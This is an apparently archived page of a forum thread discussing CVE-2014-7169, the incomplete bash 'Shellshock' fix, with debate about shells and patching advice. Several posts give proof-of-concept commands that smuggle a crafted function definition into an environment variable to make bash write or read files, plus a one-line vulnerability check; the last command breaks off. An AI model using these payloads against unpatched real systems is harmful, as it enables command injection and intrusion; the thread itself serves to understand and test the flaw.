Here is a simple little tool to check if your website is vulnerable http://milankragujevic.com/projects/shellshock/
CVE-2014-7169: Bash Fix Incomplete, Still Exploitable
211–220 of 226 posts
Re: CVE-2014-7169: Bash Fix Incomplete, Still Exploitable
#212Earlier quoted context omitted.
Why? Why don't you uninstall bash all-together? Most programs should be using '/bin/sh' and not bash.(IIRC Linux might have symlink between the two, which is awful) You could install zsh. You could add further security layers, harden your network-level access, monitor your logs and so forth. Security is a set of policies. If you think that there are users who have unauthorized access to your system or you run bash-en…
> Most programs should be using '/bin/sh' and not bash. Why? There are some non-trivial things that you can do in bash but not sh (or dash)[1]. Remaining POSIX compatible by way of never adding additional features seems like a great way to never make any forward progress. [1]: http://mywiki.wooledge.org/Bashism
From FreeBSD manual page for 'sh':
DESCRIPTION
The sh utility is the standard command interpreter for the system. The current version of sh is close to the IEEE Std 1003.1 (“POSIX.1”) specification for the shell. It only supports features designated by POSIX,plus a few Berkeley extensions. [...]
DESCRIPTION
Bash is an sh-compatible command language interpreter that executes commands read from the standard input or from a file. Bash also incorporates useful features from the Korn and C shells (ksh and csh). Bash is intended to be a conformant implementation of the Shell and Utilities portion of the IEEE POSIX specification (IEEE Standard 1003.1). Bash can be configured to be POSIX-conformant by default.
Given the fact that the bug was found in bash, I guess it's just (another) win for this harsh philosophy that so many geeks seem to strongly embrace.
Re: CVE-2014-7169: Bash Fix Incomplete, Still Exploitable
#213All this "echo date, cat echo" business is confusing. Let me fix that for you. hobbes@metalbaby:~$ export badvar='() { (a)=>\' hobbes@metalbaby:~$ bash -c "somestring executeMe" bash: badvar: line 1: syntax error near unexpected token `=' bash: badvar: line 1: `' bash: error importing function definition for `badvar' bash: executeMe: command not found hobbes@metalbaby:~$ cat somestring #it exists but is empty. hobbes…
Don't think "how can an attacker get me by prepending '>' or 'Think "the buggy bash parser is still exposed to an attacker, and nobody really knows what it can be made to do."
Re: CVE-2014-7169: Bash Fix Incomplete, Still Exploitable
#214Here is a simple little tool to check if your website is vulnerable http://milankragujevic.com/projects/shellshock/
Cool tool! Thanks!
If you're accepting feature requests, it would be nice if it accepted port numbers as well. Also a way to check a subsequent website without reloading the page first would be nice.
Re: CVE-2014-7169: Bash Fix Incomplete, Still Exploitable
#215A little off topic, but am I still vulnerable? I'm running OSX mavericks 10.9.5, use zsh as my default shell, and have a patched version of bash build from homebrew repo set as secondary in /etc/shells (on the occasion I need bash, I like to have completions). System bash is still vulnerable. With my current configuration, how worried should I be? Any insight is appreciated!
Yes, you are still vulnerable. I happen to be on Mountain Lion instead of Mavericks, but you can easily check yourself.
$ /bin/sh --version
GNU bash, version 3.2.48(1)-release (x86_64-apple-darwin12)
Copyright (C) 2007 Free Software Foundation, Inc.
Installing a version via homebrew and setting it up in /etc/shells doesn't help. What you need to do is replace /bin/sh and /bin/bash. I don't know what effects this will have; it will likely work fine, but if you were to try it, I'd recommend backing up the old buggy versions first, so you could replace them if something went wrong. I'd recommend replacing them with a version as close as possible to what you were replacing, with just the one patch applied, as there may be scripts which behave subtly differently in Bash 4 vs Bash 3 that ships with OS X.
Re: CVE-2014-7169: Bash Fix Incomplete, Still Exploitable
#216All this "echo date, cat echo" business is confusing. Let me fix that for you. hobbes@metalbaby:~$ export badvar='() { (a)=>\' hobbes@metalbaby:~$ bash -c "somestring executeMe" bash: badvar: line 1: syntax error near unexpected token `=' bash: badvar: line 1: `' bash: error importing function definition for `badvar' bash: executeMe: command not found hobbes@metalbaby:~$ cat somestring #it exists but is empty. hobbes…
The way I see it a sane but unfortunate programmer can cause a CVE, but you have to be insane to do what bash does with its environment. Why the HELL doesn't bash store inherited functions in an environment variable with a known name (e.g. "BASH_INHERITED_FUNCTIONS") like everybody else?!?
In my mind even this trivial example is a bug (albeit less serious from a security perspective):
$ env VAR="() { This is how I like my VAR } ()" /bin/sh -c 'echo $VAR'
/bin/sh: VAR: line 0: syntax error near unexpected token `('
/bin/sh: VAR: line 0: `VAR () { This is how I like my VAR } ()'
/bin/sh: error importing function definition for `VAR'
$
Re: CVE-2014-7169: Bash Fix Incomplete, Still Exploitable
#217Reproduced from my comment on the discussion of the previous CVE The same trick can be used to read files as well $ date -u > file1 $ env -i X='() { (a)= Though obviously it's going to be trickier to find an system that issues commands in a way that can act as a path for that sort of exploit.
The reponse from ubuntu 14.04 user@user:~/ X X: user not authorized to run the X server, aborting.
I guess you are running remotely or you didn't use sudo!
Re: CVE-2014-7169: Bash Fix Incomplete, Still Exploitable
#218All this "echo date, cat echo" business is confusing. Let me fix that for you. hobbes@metalbaby:~$ export badvar='() { (a)=>\' hobbes@metalbaby:~$ bash -c "somestring executeMe" bash: badvar: line 1: syntax error near unexpected token `=' bash: badvar: line 1: `' bash: error importing function definition for `badvar' bash: executeMe: command not found hobbes@metalbaby:~$ cat somestring #it exists but is empty. hobbes…
export badvar='() { (a)=>\';bash -c "hackerfile echo vulnerable";grep vulnerable hackerfile||echo safe
Re: CVE-2014-7169: Bash Fix Incomplete, Still Exploitable
#219Earlier quoted context omitted.
Ubuntu symlinks /bin/sh to /bin/dash by default as of some ancient version. This is pretty annoying and I often end up manually undoing it and linking it to /bin/bash when a script fails in spectacular ways (dash doesn't support some bash-specific niceties). It's merely a fortunate accident for Ubuntu that this type of bug was discovered in bash, not dash.
So those shell scripts use bashisms but don't use #!/bin/bash and instead have #!/bin/sh ?
The problematic scripts don't have a shebang at all, as you can likely guess. Would it be easier to add a shebang? If the one script was the only problem, yes, but I just see no compelling reason to leave my Ubuntu environments in an inconsistent state and risk experiencing other unusual behaviors. I'd rather my Ubuntu boxes behave in a similar fashion to all the other Linux environments I use, which all link /bin/sh to /bin/bash.
The justification I've found when I looked up what was going on here was "dash makes boot times faster". That's fine, but I don't reboot my systems very often and fractional increases in boot times are not worth the potential work-time disruption to me.
None of that changes the fundamental fact here: these types of security bugs could happen in any low-level, system-fundamental project like a shell. Even if you say, "Nuh-uh, I would never evaluate functions out of environment variables if I was writing a shell", I guarantee there are other things you can mess up that would present serious security risks. It is just by dumb luck that bash is the culprit this time and not some other software, and that Ubuntu happens to link /bin/sh to a shell that doesn't have the same specific bug (because it lacks the feature that provides the attack surface).
Re: CVE-2014-7169: Bash Fix Incomplete, Still Exploitable
#220All this "echo date, cat echo" business is confusing. Let me fix that for you. hobbes@metalbaby:~$ export badvar='() { (a)=>\' hobbes@metalbaby:~$ bash -c "somestring executeMe" bash: badvar: line 1: syntax error near unexpected token `=' bash: badvar: line 1: `' bash: error importing function definition for `badvar' bash: executeMe: command not found hobbes@metalbaby:~$ cat somestring #it exists but is empty. hobbes…
Don't think "how can an attacker get me by prepending '>' or ' Think "the buggy bash parser is still exposed to an attacker, and nobody really knows what it can be made to do."
Yeah, I hear you.
Well let's see...
All of these work for me (bash 4.3 including yesterday's patches on Debian sid amd64):
hobbes@metalbaby:~$ unset badvar; rm somefile; export badvar='() { (a)=>\'; bash -c "somefile echo tricksie"; cat somefile
hobbes@metalbaby:~$ unset badvar; rm somefile; export badvar='() { (b)=>\'; bash -c "somefile echo tricksie"; cat somefile
hobbes@metalbaby:~$ unset badvar; rm somefile; export badvar='() { (gooooooaaaal)=>\'; bash -c "somefile echo tricksie"; cat somefile
hobbes@metalbaby:~$ unset badvar; rm somefile; export badvar='() { (a).>\'; bash -c "somefile echo tricksie"; cat somefile
hobbes@metalbaby:~$ unset badvar; rm somefile; export badvar='() { (a)[>\'; bash -c "somefile echo tricksie"; cat somefile
hobbes@metalbaby:~$ unset badvar; rm somefile; export badvar='() { (a)=>\'; bash -c "somefile echo tricksie"; cat somefile
hobbes@metalbaby:~$ unset badvar; echo tricksie > inputfile; export badvar='() { (a)=